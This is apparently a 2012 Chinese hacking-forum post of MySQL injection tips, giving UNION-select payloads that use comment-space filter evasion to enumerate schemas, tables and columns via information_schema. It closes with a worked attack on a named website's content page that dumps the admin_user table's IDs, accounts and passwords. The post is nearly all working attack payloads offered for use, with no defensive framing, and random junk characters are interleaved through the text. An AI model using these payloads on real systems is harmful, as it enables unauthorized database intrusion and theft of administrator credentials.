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标题: mysql注入技巧 [打印本页]

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作者: admin    时间: 2012-9-13 16:29
标题: mysql注入技巧
查库
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id=-1 union select 1,..,SCHEMA_NAME,n  from/**/information_schema.SCHEMATA limit 1,1/*

) [" `/ ]: i6 g) ?2 ~查表

. u- ^, V1 K6 e$ [id=-1/**/union/**/select/**/1,TABLE_NAME,N/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=库的HEX值/**/limit/**/1,1

查段
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id=-1/**/union/**/select/**/1,COLUMN_NAME,N/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=表的HEX值/**/limit/**/1,1
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1 F+ @. F( A% P, b# c) amysql5高级注入方法暴表

例子如下:

: b3 V# O6 h3 Y' g! t6 @" C1.爆表
; S) W; V. \' `5 ?+ ~9 M! dhttp://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,TABLE_NAME,5/**/From/**/information_schema.TABLES/**/Where/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*    (0x79645F7465616D6E6574为数据库名的16进制转换yd_teamnet)
& M% h9 n1 @  C$ c0 Q7 D4 x这样爆到第4个时出现了admin_user表。
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/ M) H1 r0 v8 @9 Z6 ]2.暴字段
http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,COLUMN_NAME,5/**/From/**/information_schema.COLUMNS/**/Where/**/TABLE_NAME=0x61646D696E5F75736572/**/And/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*

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3.爆密码
4 T4 c( o6 v) c3 Z0 _http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,concat(0x7c,ID,0x7c,ACCOUNT,0x7c,PASSWORD,0x7c),5/**/From/**/admin_user/**/limit/**/0,1/*

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